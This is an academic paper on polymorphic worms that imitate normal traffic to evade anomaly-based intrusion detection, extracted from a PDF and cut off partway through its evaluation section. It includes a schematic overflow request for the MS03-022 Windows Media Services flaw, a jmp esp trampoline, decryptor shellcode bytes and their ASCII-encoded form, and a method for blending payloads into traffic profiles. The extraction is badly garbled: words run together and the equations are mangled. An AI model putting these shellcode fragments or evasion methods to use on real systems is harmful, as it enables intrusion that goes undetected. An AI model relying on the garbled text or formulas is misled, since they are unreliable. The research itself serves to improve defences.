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Abstract. Normal traffic can provide worms with a very good source of infor-
mation to camouflage themselves. In this paper, we explore the concept of poly-
morphic worms that mutate based on normal traffic. We assume that a worm has
already penetrated a system and is trying to hide its presence and propagation at-
tempts from an IDS. We focus on stealthy worms that cannot be reliably detected
by increases in traffic because of their low propagation factor. We first give an ex-
ample of a simple polymorphic worm. Such worms can evade a signature-based
IDS but not necessarily an anomaly-based IDS. We then show that it is feasible
for an advanced polymorphic worm to gather a normal traffic profile and use it to
evade an anomaly-based IDS. We tested the advanced worm implementation with
three anomaly IDS approaches: NETAD, PAYL and Service-specific IDS. None
of the three IDS approaches were able to detect the worm reliably. We found that
the mutated worm can also evade other detection methods, such as the Abstract
Payload Execution.
The goal of this paper is to advance the science of IDS by analyzing techniques
polymorphic worms can use to hide themselves. While future work is needed
to present a complete solution, our analysis can be used in designing possible
defenses. By showing that polymorphic worms are a practical threat, we hope to
stimulate further research to improve existing IDS.

1 Intr oduction

Asshownbyphatbot in early2004[Gro], wormsarebecomingmorecomplex.While
only a few worms attemptto hide their presencefrom Intrusion DetectionSystems
(IDS), it is only amatterof timebeforemorestealthyandtargetedwormsappear. Such
worms are likely to employ a lower propagationfactor [AR03] and will try to hide
themselves whenever possible.The objectivesof theseworms will also be different
from thoseof thewormswe haveseensofar.

For example,stealthywormsmayno longerfocuson infectingasmany systemson
the Internetaspossible.Instead,suchwormscantargetspeci®cnetworksandorgani-
zations,suchasfederalgovernmentandmilitary, soasto disruptservices,gathersen-
sitive information,or attacknations'critical computerinfrastructures.As with viruses,
wormscanalsobedesignedto targetspeci®cIDS approachesor implementationsand
theirweaknesses.
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In this paper, we focus on stealthyworms.We assumethat a worm hasalready
penetratedthe target systemusingsomeattackvectorandmustnow evadethe local
IDS to propagate.We considerhow suchwormscan®rst observe the traf®c from the
localhostandthelocalnetwork andthenusetheknowledgeto hidetheir propagation.

Thecontributionsof thispaperaretwofold. First,weshow thatpolymorphicblend-
ing is a practicalattackthat canbe usedto evadeIDS. Second,we examineseveral
existing IDS approachesandexplain why they arevulnerable.Our goal is to advance
thescienceof IDS technologyandpreparesecurityprofessionalsfor thenext generation
worm.

The remainderof the paperis structuredasfollows. Section2 providesimportant
de®nitionsandanalyzesthestructureof apolymorphicworm.In Section3 wesumma-
rizeknown techniquesusedfor polymorphism.Section4 describesour implementation
of apolymorphicworm.In Section5, weshow how thewormcandefeatIDS by blend-
ing with normal traf®c. In Section6 we evaluatethe mutatedattackwith four IDS
approaches.Section7 containsanoverview of relatedwork.

2 Polymorphic Worms: De�nitions and Structure
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Fig. 1. This figure gives an example of a stack-based exploit containing a polymorphic worm

A polymorphicworm (PW) is a worm that changesits appearancewith every in-
stance.As a result,byte sequencesof differentworm instancesmay look completely
different.However, theactualcodeof thepolymorphicworm typically staysthesame.

To changeits appearance,a PW canusemethodssimilar to thoseusedby poly-
morphicviruses[Bon94]. Onecommonmethodis to take theoriginal codeof a worm,
encryptit with a randomkey, andgeneratea shortdecryptorfor thekey. Thepolymor-
phicdecryptor(PD)andthekey changewith eachinstance.Thecodeof thewormdoes
not.Thisoperationis typically performedby thePolymorphicEngine(PE),includedas
partof theworm'scode.
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A sophisticatedPWcanmutatebothitself andtheexploitsit uses.Possibleelements
of sucha PWinclude:

– Attack vectorsto penetratesystems. Sophisticatedwormsusemany vectorsof at-
tack.Thesetincludesexploits for stack,heap,andothertypesof over�ows,back-
doorsleft by otherworms,password snif®ng, Man-in-the-Middleattacks,andso
forth.

– Invariants for attack vectors. A PEusesattackinvariantsto decidewhatpartsof
an attackarevolatile so they canbe changedwithout preventingthe attack.One
exampleof suchinvariantsarethe offsetsin an exploit for placingthe returnad-
dressesandhandlers,e.g.,Windows StructuredExceptionHandling-based(SEH)
exploitation.We discussinvariantsin Section5.2.

– Polymorphic Engine(PE). A PEwill generatethemutatedversionsof thePDand
theattacks.Below, we brie�y describethespeci®ctechniquesPEcanusefor code
mutation.

– Worm body code. In a simplecase,theworm's body might simply containcode
thatselectsanattackvector, generatesa setof destinations,mutatestheattackand
itself using the PE, thensendsout the mutatedinstances.We will also consider
moreintelligentcodethatattemptsto hideworm'spresencefrom IDS.

An exampleof a commonpolymorphicworm structureis given in Figure2. The
worm usesa buffer over�ow asits attackvector. The PD of sucha worm is typically
short.The basicPD we describeaverages110 byteson the Intel 32-bit architecture
(IA32).

2.1 Mutating Exploits usingToolkits

Hackersarealreadyat work on IDS-evadingcode.At present,thereareat leastthree
opensourcetoolkitsweknow of thatallow to mutateexploits:ADMmutate,CLET, and
JempiScodes[Ktw01,DUMU03,Sed03]. Thesetoolkitscangeneratemutatedshellcode
with somevery basicrestrictions,e.g., no zeroesor no lowercasecharacters(so as
to bypasstoupper() -restrictedexploits). CLET [DUMU03] attemptsto adjustfre-
quenciesof bytesin an exploit by addingso-called“cramming” bytesat the end of
the shellcodeto compensate.The toolkits make it harderfor signature-basedsystems
to detectexploits in a straightforwardmanner. For instance,somesignature-basedIDS
toolslook for “NOP sleds”or sequencesof single-byteNOPinstructsusedto over�ow
a stack,so thatonecanjust guessthe rangeof a returnaddress.(If onedoesnot cor-
rectlyguessthereturnaddress,but hits thesequenceof NOPinstructions,theexecution
proceedsdown thesledto theattackcode.)OtherIDS approacheslook for theclassic
/bin/shstring(canbedetectedasexplainedin thefollowing subsection).Themutation
toolkits make it harderfor anIDS to detectthesecommonsequences.But themutated
exploitscreatedusingthesetoolkitscanstill bedetectedfairly easily. Wedescribesome
basicdetectiontechniquesin thenext section.

2.2 BasicDetectionTechniques

As we alreadymentioned,thecodeof theworm andtheexploit will bedifferentwith
eachinstance.If thevulnerabilityis unknownto asignature-basedIDS, theIDS is likely
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to bedefeated.Whatasignature-basedIDS cando,however, is examinethebytesof the
polymorphicdecryptor(whichcannotthemselvesbeencrypted)andthesled.Onevery
commonway to detectpolymorphiccodeis by detectinga sledor a repeatingreturn
addressat theend.

If we were to usethe classicIA32 NOP “0x90” sled,even Snortwould be able
to detectit reliably assumingthe sled is long enough.A more advancedtechnique,
usedby ADMmutate[Ktw01], is to useotherone-byteinstructionsasNOPs.On IA32,
Therearea total of 55 out of 256opcodesthat canbe usedasone-byteNOPs,which
complicatesusinga sledasa signature.However, suchsledsstill have a low entropy
for an IDS to detect.Also, they can be detectedby the AbstractPayloadExecution
method[TC02].

An improvementof thiswouldbeto useaveryshortsledor amulti-byteinstruction
sled.In the ®rst case,there's very little room for error. The worm writer mustguess
the location of the exploit in memoryvery precisely. In the secondcase,the worm
writer doesnothave to beasprecisebut multi-byteinstructionsledscanbemoredif®-
cult to use.This is becausemulti-byte instructionscanbe interpreteddifferently if the
jumphappensto landinsideoneof themulti-byteinstructions.Likely, thismaycausea
fault.To addresstheproblem,CLET authorssuggestgeneratingNOPsledsrecursively
[DUMU03].

However, it maybepossibleto avoid usinga sledevenif theexact locationof the
exploit in memoryis not known in advance.This canbe doneby takingadvantageof
the fact that often stackvariableson IA32 arealignedby 4 (or, in somecases,8 and
12), which meansthat if (returnaddress)mod4 == 0 is true,theworm writer merely
needsto guesstheaddressin incrementsof 4, 8, or 12 (givenour assumptionaboutthe
alignmenton thetargetplatform),andcontrolwill transfercorrectlyto oneof the4, 8,
or 12-byteNOPsledinstructions,respectively.

To complicatedetection,a worm canchoosenot to usea sled.In suchcase,it must
know very speci®callywherethecodeof theexploit residesin memory. This maynot
alwaysbepossible.A commonalternative techniqueon Windows is to ®nd aninstruc-
tion, suchas jmp esp in oneof the accessibleDLLs that do not changefrom one
versionof Windowsto another. Theaddressof thestaticjmp instructionis usedasthe
returnaddresson thestack.Whentheaddressis popped,esp pointsat thebyte next
to thereturnaddress.Thus,if theexploit containsthefollowing codeimmediatelyafter
theover�owedreturnaddressandthereturnaddresspointsto a jmp esp instruction,
it will gaincontrolwithout theneedto guessanaddresson thestack:

<overwritten ret>
call $+2
pop eax
sub eax, <code_length+4+4+variables>
jmp eax

Theseexamplesdemonstratethatworm writersarealreadyexperimentingwith ba-
sic obfuscationengines,andarecreatingtoolkits to cloak commonfeaturesfound in
exploit code.At present,mostof thehackingtechnologyfocuseson signatureevasion.
However, sometoolkits provide byte frequency paddingcapabilities.As IDS technol-
ogy improves,we canexpectmorecreativeevasiontechniquesto arise.
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3 Overview of Polymorphism Techniques

If IDS technologyis to keeppacewith worm writers,we needto take stockof poly-
morphictechniquescurrentlyin use.This sectionoutlinestheexisting stateof theart.
Basictechniquesusedto makePD polymorphic(syntacticalpolymorphism)include:

– Interleaving meaningfulinstructionswith DO-NOTHING instructions.For exam-
ple,if EAX, ESI,andEDI areusedin the“meaningful”partof thePD,any instruc-
tion thatusesEBX will bea DO-NOTHING instruction.Considerthatinstructions
suchas(push eax; pop eax) or (xor eax, ebx; xor eax, ebx;)
areidempotent.

– Using differentinstructionsto achieve the sameresult.For instance:mov eax,
110h hasanin®nite numberof equivalentinstructionsequences,including(mov
eax, 100h; add eax, 10h) or (mov eax,5; mov ebx,110h-5h; add
eax,ebx;) or (push 110h;pop eax;) .

– Shuf�ing theregistersetusedin eachversionof thePD.
– Decryptingandreencryptingpartsof thePD asit is beingexecuted.
– Usingseveral layersof decryptors,e.g.,a Matryoshkaor “Russiandoll” architec-

ture,wheredecryptorsarenestedinsidedecryptors,andstartwith a veryshortand
simpleone,soasto minimizetheeffective lengthof theexecutable.

A complex PD may useindependentinstructionblocks that are randomlymixed
while instructionswithin blocksaredilutedby NOPs,suchsasxchg reg1,reg2;
sti/cli, inc/dec etc.

Notethatwhile thebytecodesof eachPD versionwill bedifferent,thebehavior of
thePDremainsthesame.Typically, it wouldmodify thememoryareathatcorresponds
to thePE/Worm andthentransfercontrol to it. A PD canusethefollowing techniques
to maketracingof its codeharder:isolatingindependentpartsof PDcodeandexecuting
themin parallelor in arandomorder;usingtiming parametersin encryption/decryption
so that excessive delayscausedby runninga PD undera debuggerwill result in de-
crypting the codeincorrectly;storing decryptionkeys on anothercomputerthat will
only serve themonce;usingsystemparametersaskeys (interrupthandlercodehash,
changedby thedebugger, andsoforth).

4 Implementing a Polymorphic Worm

Theprevioussectionscoveredbasicterminologyandoutlinedtheexistingpolymorphic
technologies.We usesomeof technologiesto designa new IDS-evasive worm. We
engagein this exerciseto demonstratethat,usingexistingpolymorphictechnologies,a
worm canevadeIDS. Below, we describethedesignof sucha worm.(Needlessto say,
theimplementationof theworm itself will notbemadepublicly available.)

In choosingthestructureof theworm,wehaveat leasttwo options:maketheworm
codea partof anexploit or sendtheworm's bodyseparatelyandaftersendinga small
bootstrapcode/PDin theexploit.

The ®rst option seemsreasonablewhen the exploits needto sendlarge enough
amountsof datato over�ow a buffer anyway. For example,the Windows Messenger
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Exploit (MS03-043)requires� 4k of data,while theIIS WebDAV III exploit (CA-2003-
09) requires� 16k of data.The downsideof this approachis that exploits requiringa
lot of datamake lessattractiveasattackvectors.

Thesecondoption,alsoknown asStagedLoading, hastheadvantagethat it works
for smallerbuffers in stackover�ows and for other typesof over�ows, particularly,
whenit is not possibleto ®t thewhole worm codeinto the over�owedbuffer andthe
upperstackaddresses.This option doesnot requireall of theworm body to be trans-
mittedatonce.It hastheadditionaladvantageof usingportsotherthantheportusedby
the initial exploit. For example,it canusecovert channels,e.g.,icmp echo-replies,to
transmittheencryptedwormbody. For example,asshown by TheVoid [The04], it may
bepossibleto sendtheworm'sbodyin ACK packetsevenif SYN packetsaredropped
by the®rewall.

For simplicity, in our example,we usethe®rst option.(Thelargerpacket sizealso
gives the IDS an advantage,making evasionmore dif®cult.) The worm exploits the
targetsystemusesa mutatedexploit containingtheworm's code.Theworm's body is
thendecryptedandexecutedby thePD.

4.1 Attack Vector: WindowsMedia ServicesExploit (MS03-022)

In the remainderof this paper, we usea known exploit for Windows Media Services
reportedin 2003astheattackvector. It is arelatively simplestackover�ow exploit that
targetsport80.The�a w exploitsaproblemwith theloggingISAPI extensionhandling
of incomingclient requests.Below is a schematicexampleof an HTTP requestthat
causesanover�ow:

POST scripts/nsiislog.dll HTTP/1.1<CR><LF>
Accept: */*<CR><LF>
Content-Type: text/plain<CR><LF>
Content-Length: 9996<CR><LF>
<CR><LF>
...
<long_string>
...
<CR><LF>

4.2 Polymorphic Decryptor

As notedin section2, a polymorphicworm mustcontaina PD. We describea simple,
fairly genericPD. Its main advantageis size.Below, we give an exampleof a more
complex PD andthematchingWorm/PEwith supportfor blending.

Theobjective of thesimplePD is to decrypttheworm's bodyandtransfercontrol
to the worm's loader. The worm's loader, in our case,writes the worm to disk, and
executesit. The key featuresof the PD are as follows. First, as in [DUMU03], we
choseregistersat randomandusedsymmetrictransformationsfor PEandPD,namely
addition-subtraction(add/sub),rotation(ror/rol), andexclusiveOR.
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We selectwork andcounterregistersfrom thesetR=
�
eax,ebx,ecx,edx � and

addressregistersfrom thesetA=
�
esi,edi � . In mostcases,we wereableto usesim-

pleadditionsto abasebyteopcodeto generatetransformationswith differentregisters.
To illustrate,for xor transformation,the speci®cregistercanbe picked by addingits
index to thebasebyte35h(eax)/81h(otherregisters).Sinceweuse32-bitoperationsin
thePD, theencryptedworm'sbodymustbealignedby 4.

An exampleof a PD anda skeletonwe usedto generatePDsaregiven in the ap-
pendix.Theexampleis justanoutline,andvariableparts,suchasregistersarereplaced
by labels.

Note that mostof the PD is dynamic,i.e., registersetupis doneusingequivalent
registers:mov=push/pop,andsoon. Thecodesfor andthenumberof transformations
changecompletely. Thelengthof thePD andthekeysalsovary.

4.3 Worm Loader

After thePDdecryptioncompletes,thecontrolis transferredto thewormloader. Its ob-
jective is to savethecontentsof thedecryptedWorm/PEto atemporary®le andexecute
it. For that, it usesfour Windows API functions:CreateFile(),WriteFile(), CloseHan-
dle(),andCreateProcess().

Sincethe worm usesa Windows-basedexploit, it needsto take into accountthe
speci®csof Windows buffer over�ow exploitation. It usesthe Structured Exception
Handling (SEH)-basedapproachto locatethe baseof kernel32.dll , andExport
Directory Table/hashesto locateLoadLibraryA. We note that the worm doesnot in-
novatein ®nding the API functionsin memory. Both techniquesweredescribedand
implementedby LSD [The03]. Thesubsequentfour API calls for the loaderaremade
using the offsetsobtainedusing the two functionsabove and hashesof the symbol
namesfor eachfunction.Thesemechanismsweusedareknown andhavebeencovered
by numerousarticlessowe will notdiscussthem.

4.4 SimpleWorm/PE

WeimplementedasampleWorm/PEexecutablewith VisualC++ .NET. ThePEis very
simpleandis basedon the CLET engine[DUMU03]. (Below, we considerthe threat
posedby a muchmorecomplex PE.)

Thesimpleworm/PEdetailsareasfollows.Theworm is single-threadedanduses
non-blockingsockets.For eachnew infection, the worm constructsa copy of the ex-
ploit in memory, copiestheloaderfrom a staticbuffer into theexploit, andgeneratesa
structurecontainingthreerandomlypickedregisters,thekey, andthe transformations
for thePD.Next, it copiesthecontentof its ®le into memory, andencryptsitself using
thetransformationsandthekey. It thengeneratesa matchingPD andinsertsit into the
buffer. Finally, it generatesan IP at randomandattemptsto sendanexploit to it. The
currentversiondoesnotcontaincodeto detectitself somultiple infectionsarepossible.
Adding this behavior would be trivial, sincethe worm merelyneedsto checkfor the
presenceof theexploit ®le ondisk.Theexamplewaskeptshortfor clarity, andto show
proof-of-conceptPE,usingexisting toolkitsandtechnologies.
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5 Blending in with Normal Traf�c

Theprevioussectionsillustratedthebasicsof PEworms,andhow onecanbecreated
usingexisting toolkits. An anomaly-basedIDS candetectsucha worm, for the most
part. In this section,we considerthe problemposedby PE wormsthat blendin with
backgroundtraf®c. Sincehackingtoolkits now offer primitive blendingcapabilities,
we submit that this is a new frontier for worm writers. IDS technologiesneedto be
prepared.Thefollowing analysisanticipatesoneapproachworm writersmaytake.

5.1 Learning Normal Pro®le

If we assumea worm hasinfecteda network, its next taskis to spreadwithout alerting
theIDS. Theworm mayattemptto disguiseits polymorphicpayloadasnormaltraf®c.
But in order to blendin, a worm needsto learnwhat normal traf®c looks like. More
precisely, theworm needsto know statisticalpropertiesof the typesof traf®c usedin
theattackvectorsit has.For example,if thewormemploysPost®xandWindowsMedia
Serviceexploits to propagate,it needsto know if thereis any outgoingtraf®c destined
for ports25and80,thesizeandcontentof packetsandsoforth.

Signi®cantly, the worm may only needto witnessandstudy traf®c sentfrom the
local network to a remotetarget. Many anomaly-basedIDS techniquesdon't screen
outgoingtraf®c, andinsteadusecomputationalresourcesto screenincomingpackets.
A blendingworm thereforemayonly needto matchtraf®c in onedirection.

It would be most bene®cialfor a worm to focus on the samestatisticalproper-
ties an anomaly-basedIDS usesfor calculatingthe anomalyscore.Theseincludethe
maximumand averagesizeand rate of normal packets,byte frequency distributions
(n-gramanalysis),rangesfor valuespresentat differentoffsets,time information,an
precedence/antecedents,suchaswhenapacketmustbefollowedby aspeci®cresponse
or sequenceof packets.

If we presumetheworm hascompromiseda local host,andknows which statistcs
areof interest,thepro®lescanbeobtainedby snif®ng on a local network interfaceor
by examiningthe local TCP/IPimplementation's buffers.While in somecasesit may
not bepossibleto gathernormaldata,e.g.,in a switchedenvironmentor undera non-
root user, it is highly likely thata worm would beableto dosoonmostsystems.First,
many exploitsprovide immediaterootaccess,becauseof theprivilegelevel usedto run
vulnerableprograms.Second,a worm canescalateprivilegeslocally. Third, especially
for Windowsusers,runningentiresystemswith superuser/Administrator'sprivilegesis
notuncommon.

We gathereda normal pro®le for outgoingpacketson port 80 basedon the real
traf®c datafrom anon-campuslaboratory. Wemanually®lteredthetraf®c to makesure
it is attack-free.Thenormalpro®le we constructedwasbasedon the featuresusedby
four existingAnomalyDetectionapproachesdescribedin Section6.

Normal pro®le example We usethreeof the statisticalpropertiesdescribedabove
to show how a worm canblendin: Averagebyte frequencies,per-bytevariances,and
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packet sizes.In our example,we presumetheworm usesa singleattackvector, anex-
ploit for WindowsMediaServices.Therefore,weonly gatherthestatisticsfor outgoing
POSTrequeststo port80.

5.2 Exploit Invariants

For mostexploits, therearecertainpartsor propertiesthatmustbepresentin orderfor
the exploit to work. We call suchpartsexploit invariants.For instance,in caseof the
recentMS WindowsMessengerExploit (MS03-043),it is well known thatthemessage
mustconsistof a MessengerProtocolheaderanda body. The lengthof the message
mustbe 3992or morebytesfor the exploit to work and the character0x14 mustbe
presentbecausethe over�ow relieson 0x14 being replacedby two characters:0x0d
and 0x0a. Another example is the PPTPexploit. It requiresthat several packets be
exchangedbeforeanexploitablestateis reached.

Theability of awormto blend-inis limited by theexploits it uses.Someof exploits
canbe consideredmore restrictive for worm purposesthanothers.To illustrate,one
possibleexploit invariant is the minimal sizeof the packet. Considerthe casewhere
a worm hasto generate60k exploit UDP packetsfor a servicewheretheaveragesize
of an outgoingpacket is 200 bytes.In this situation,it will probablybe of little im-
portancehow closethecontentof the packetsis to normal,sincethe sizewill trigger
an immediateanomaly. It appearsthatmoresophisticatedheapandintegerover�ows,
including the impossiblepathexploits [HOP

�

03] are likely to be lessrestrictive. We
planto furtherdiscussinvariantsandusabilityof exploits in a separatepaper.

Baseexploit revisited To illustratehow a polymorphicworm canblendthe exploits
it usesto avoid detection,we modify theWindows MediaServicesRemoteCommand
Executionexploit describedin theprevioussection.

Theexploit codewe useis basedon theimplementationby ®rew0rker [Fir03]. The
codesendsapproximately10k of data.Whendivided by a the MTU of 1500for the
Ethernetinterfaceon our testmachine,thenumberof datapacketsthatwill besentby
theTCP/IPstackis goingto beabout10240/1500=7 TCPpackets.

Recallthattheinvariantpartof theexploit includesthe”POST” requestline. Some
headers,suchas”Content-type”,”Content-length”,and”Mx statslogline” (in oneof
the exploit variations)mustalsobe presentbut their positionis not ®xed.The restof
theexploit, includingheadersandtheir values,canbechangedby theworm.

5.3 Blending with Normal Traf®c

To illustratetheviability of theidea,andthethreatposedby suchanattack,we imple-
menteda simpletraf®c blender. We wereableto eludeseveral existing anomalyIDS
usingtheblendedpacketsgeneratedby our implementation,asdescribedlater in this
section.(As before,we mustdeclineto releasethecodefor this traf®c blender, but will
describeits generaldesignandassumptions.)

Theinput to theblenderis goingto includethenormaltraf®c pro®leandthebinary
to be blended.Theobjective of theblenderis, given the input, to ensuretheoutputis
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closeenoughstatisticallyto thenormalpro®le.Thede®nitionof closenessdependson
thespeci®canomalyscoreformulaof IDS.

Basedon theformulasusedby theIDS we analyzed,we derivedthreerulesfor its
operation:

1. Theoutputmustonly consistof bytesthathavenon-zerofrequency in normaltraf-
®c.

2. Thefrequency of bytesin theoutputmustbeequalor closeto thebytes'frequencies
in normaltraf®c

3. Outputmustusethebytesallowed for any givenoffset, if possible.For example,
the normalpro®le may includeallowed rangesfor every offset: 0:5-18,25-30,50-
60,1:60-65,16-64,etc.

5.4 Narr owing effectiverange

Weusetheterm“effectiverange”to referto thenumberof all valuesin aspectrumwith
frequenciesabovea threshold(typically, above zero).For example,theeffective range
of the normalHTTP pro®le we gatheredis 155,meaningthereare155 bytes(out of
256) thathave any variance.Theremaining101of 256possiblebytesnever appearin
thenormaltraf®c or appearextremelyrarely. Theeffectiverangeof theinputbinarywe
use,in contrast,is 187.In otherwords,theexploit used187distinctbytes.

To complywith therule 1 above, we mustnarrow down theeffective rangeof the
input binary. We do thatby mappingbytesin theeffective rangeof thebinaryto bytes
from theeffective rangeof thenormalpro®le.Whenthe two rangesdiffer, multi-byte
mappingsarenecessary.

Mappingtheexploit bytesto rangesseenin the targetspectrumis simple.For ex-
ample,onecould usea minimal spanningtree (e.g.,Kruskal's algorithm[J.B56]) to
matchbyte frequenciesthataremostsimilar betweentheexploit andtargetspectrum.
Othernon-optimalapproachesarepossible.Onerequirementis thattheblender, which
matchesexploit-to-targetbytefrequencies,mustcompletequickly, likean

����������	�

���
spanningtreealgorithm.Additionally, theblendingprogrammustbespaceef®cientso
asnot to risk a host-basedanomaly, or generatebloatedoutput,largemutatedpackets.

An exampleof an actualmulti-bytemappingis ”20h 67h”, ”20h 6ch”, where20h
is a frequentcharacterwe useasthecontrolcharacterthatmustbefollowedby oneor
moreselectorbytes,and67hand6charetheselectorbytes.Thefrequency distribution
of a blender'soutputandnormaltraf®c is shown in Figure2.

5.5 Polymorphic Decryptor

The advancedPD reversesthework doneby the PE.Oneof the objectivesof thead-
vancedPD is given a setof mappings� � � ����������������������� � , it mustdecodethe
Worm/PEback into its original binary format. The assemblysourcecodeof the ad-
vancedPD supportingmappingsis givenin theappendix.

The format of mappingstable is quite simple.Oneof the byte codesis reserved
as a control character, as describedearlier. The control charactermust be followed
by the selectorbyte. The decodedbyte is the index of eachmapping.For example,
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Fig. 2. Comparison of frequency distributions of a blended packet (unpadded) and normal port 80
traffic. This is an interim version of the blended packet. As you can see, the worm narrows down
the range of values it uses to match that of the normal traffic. The frequencies of the worm bytes
are still different from normal. In the next step, shown in Figure 4, the worm will use padding to
match the frequencies of normal traffic.

the following fragmentof the mappingtable startingat offset 0: 0x01, 0x15, 0x26,
0x17,0x33,0x70,0x26,0x15, ... (0x26 is the control character)containsthe following
mappings:

0x01->0
0x15->1
0x26 0x17->2
0x33->3
0x70->4
0x26 0x16->5
...

Note that we usedmappingsto blend in the Worm/PEbut the PD must also be
blended.First, it cannotusecharactersthat arenever presentin normalHTTP traf®c
or areextremelyrare.Second,it mustbebuilt sothat its contenthaslittle effecton the
overallfrequency distributionof thepacket.At thesametime,it mustremainexecutable
sothatit candecodetheWorm/PE.To solvethisproblem,theblendingwormmightuse
theexecutableASCII shellcodealgorithm[R.03]. Thealgorithmencodesany sequence
of binary datainto ASCII charactersso that when it is run the ASCII sequencewill
decodetheoriginal sequenceandexecuteit. Thus,theoriginal binarysequenceof the
PD aboveis:

20 FC BE 5E 00 00 00 BF 5E 00 00 00 31 C0 89 C3 8A 3D
04 00 00 00 81 FE 00 00 00 00 75 06 68 5E 00 00 00 C3
AC 38 F8 75 05 88 C4 AC 86 E0 BD 5E 10 00 00 31 C9 8A
5D 00 38 D8 74 09 38 FB 75 01 45 45 41 EB F0 38 F8 75
0C 45 8A 5D 00 38 DC 74 04 45 41 EB E0 88 C8 AA EB BC
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or

"..ˆ....ˆ...1....=..........u.hˆ.....8. u..... ..ˆ... 1..
].8.t.8.u.EEA..8.u.E.].8.t.EA......."

Wereplacednon-printablecharacterswith adot.Thelengthof theoriginalsequence
is 90bytes.After encodingin executableASCII, thebinarysequencebecomes:

%#.-%%DABB-#Nzz-xzzz-zzzzP-#A##-nx.H-zz vzP-#O ##-Az. #
-xz5yP-##p#-goz--zzz%P-##a#-WUvy-zzzzP- .###-t n#J-zz K
zP-####-#V##-ezpDP-#U##-pz.L-zzyzP-#.## -czcZ- zzzzP- %
Y##-%zyk-%zzzP-##i#-##z1-sDzzP-#.M#-#wz 4-Dzzz P-#d## -
.za#-0ztkP-eZ#B-zz.z-zzzzP-#D##-#zZ#-fz zlP-## #p-#a# z
-EuQzP-##si--izz-%zzzP-####-cb#d-zz8zP- ####-# .#a-0q 6
zP-e##H-z##z-z64zP-####-6##.-zyCrP-j##L -zbbz- zzzzP- #
#Lk-Cfzz-zzzzP

As you cansee,all bytesarewithin the normalrangefor HTTP andthereareno
zeroes.Thesizeof theASCII-encodedPDis 379bytes.Thesequenceformsthebinary
codeof thePDonthestackby usingpush, pop, add, and sub operationswith
validcharacterranges,e.g.,0x21212121-0x7f7f7f7f.To makeuseof theencodedstring,
we mustbe carefulaboutthe stackcontentsbecausethe stackis going to containthe
ASCII PD, then the decodedPD, and both the encodedand the decodedPE/Worm.
ASCII PD is goingto beexecuted®rst, it will thentransfercontrol to thedecodedPD
reconstructedat theendof theASCII PD,which, in turn,will decodetheWorm/PE.

5.6 Putting the blendedexploit together

We now give an exampleof a mutatedexploit. The worm constructsthe mutatedex-
ploit by copying theinvariantsfor thebaseexploit describedearlier, copying theASCII
shellcode,copying the encodedPD/Worm, addingpaddingbytesandfragmentsfrom
legitimatepacketsto make the mutatedpacketslook normalboth visually andstatis-
tically. The ®nal structureof theexploit is shown in Figure3. The initial fragmentof
themutatedexploit appearsin theappendix.NotethattheASCII executabledecoderis
precededandfollowedby fragmentsof actualnormaltraf®c aspaddinganda disguise.
Becausethe ASCII executabledecoderreconstructsthe PD on the stack,we have at
least98bytesavailablefor paddingafterits end.

Sincetheexploit wasoptimizedfor theanomalyscorestatisticsusedby theIDS, it
appearednormal.Several factorscontributedto this result.First, theexploit only con-
tainscharactersthatfrequentlyappearin normaltraf®c.Second,thefrequenciesof char-
actersaresuchthat they closelymatchrespective frequenciesin normaltraf®c. Third,
thestringsusedin variablepartsof themutatedattackareportionsof normalpacketsat
correctoffsets.We providemoredetailswith aper-IDS explanationin Section6.

5.7 Remarkson Splitting the Input

With somenormal pro®les,it may be prudentfor the blenderto split the input into
several chunksand calculatefrequenciesfor eachchunk independently. This would
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Executable ASCII Decoder


Blended PE/Worm Code Chunk1


Variable part

(Later filled with decoded PD by pushing values


on the stack)


Variable Part

(Filled with Fragments of legitimate packets and

bytes to compensate for frequency differences)


HTTP Request Header:

ªPOST …"


Variable part

(Filled with fragments of legitimate packets and

bytes to compensate for frequency differences)


Blended PE/Worm Code Chunk2


Variable part

(Filled with fragments of legitimate Packets and

bytes to compensate for frequency differences)


Blended PE/Worm Code Chunk3


...


Packet 1 (MSS)


Packet 2 (MSS)


…


Fig. 3. This figure shows the structure of the blended exploit buffer. The variable parts depend
on the exploit used. The buffer may be split into several packets by the network stack when
transmitted. The Maximum Segment Size (MSS) on our system was 1460 so each packet above
including headers was no larger than 1460 bytes.
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resultin smallermappingtablesaswell aspotentiallybettermappingsto normaltraf®c,
especiallyif differentchunkswill bein packetsof differentsizes.

Also, asanomaly-basedIDS typically calculatestatisticson a per-packetbasis,the
worm chunkcanonly take a partof thepacket andpadtherestto better®t thenormal
pro®le. For tcp-streams,it may be possibleto changethe default MSS sizeby using
setsockoptto ®t into differentnormalpacketclusters(basedonsize)for whichanomaly
IDS mayhave lessrestrictivenormalpro®les.

We concludethis sectionby presentingthe comparisonof the frequency distribu-
tionsof the®nal versionof themutatedexploit andthenormaltraf®c, seeFigure4.

6 Experimental Evaluation of the Mutated Attack with IDS

To evaluatetheeffectivenessof blendingPE worms,we testedfour anomalyIDS ap-
proaches:[Mah03], PAYL distance-basedAnomalyIDS) [KS04], Service-speci®cAnomaly
IDS [KTK02], andAbstractPayloadExecution(APE) [TC02],

We evaluatedthreeof theapproachesin practiceusingtheimplementationswe re-
ceivedfrom theauthors.We examinedService-speci®cAnomalyIDS approachin the-
ory sincetherewecouldnotobtainits implementation.

We foundthatall of theanomalyIDS we testedcanbeevadedusingpolymorphic
blendingattacks.Thedetailsof our testsaregivenbelow.

NETAD Theanomalyscoreof NETAD is basedonEq.(1).

� � �
�������	��
���
���������� � �

� ��������� � ���
��� ��� � �"! (1)

Here, # is the attribute index, e.g., the offset of a byte in a packet, � � is the time
sincethe last anomaly,

� � is the numberof training packetsfrom the last anomalyto
theendof training, � � is thenumberallowedvaluesfor each®eld,

� � is the frequency
with whichvaluesappear.

The approachcanbe evadedby polymorphicblendingfor several reasons.First,
blendedpacketscanuselegitimatevaluesthat are in � � , except for attackinvariants.
Thesevaluescanbegatheredby observingtraf®c.

Second,thefrequency of eachvaluethatoccursin normaltraf®c canbemeasured
easilyandtaken into accountfor

� � . For blendingpurposes,the attributesof most in-
terestwould probablybe thosewith high

� � . The fact that they occurfrequentlyalso
serveswormspurposesbecauseit is likely to take lesstime to gatherthestatistics.

Evaluation. TheoriginalNETAD approachonly consideredthe®rst 48bytesof the
packet, including the headers.As a result,even the non-mutatedattackwe described
earliercaneasilyevadetheIDS.

For fair consideration,wemodi®edtheoriginalNETAD implementationto consider
packetsin full, up to 1460bytesper tcp fragment,basedon theMTU for our network
interface.We alsohadto removesomerestrictions,includingthemaximumprocessed
packetsizesandalloweddestinationaddresses.(Theoriginalimplementationwasbased
on theDARPA IDS testsetandonly allowedRFC1918privateaddresses.)
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To optimizeNETAD' s performanceandeffectiveness,we only trainedit on outgo-
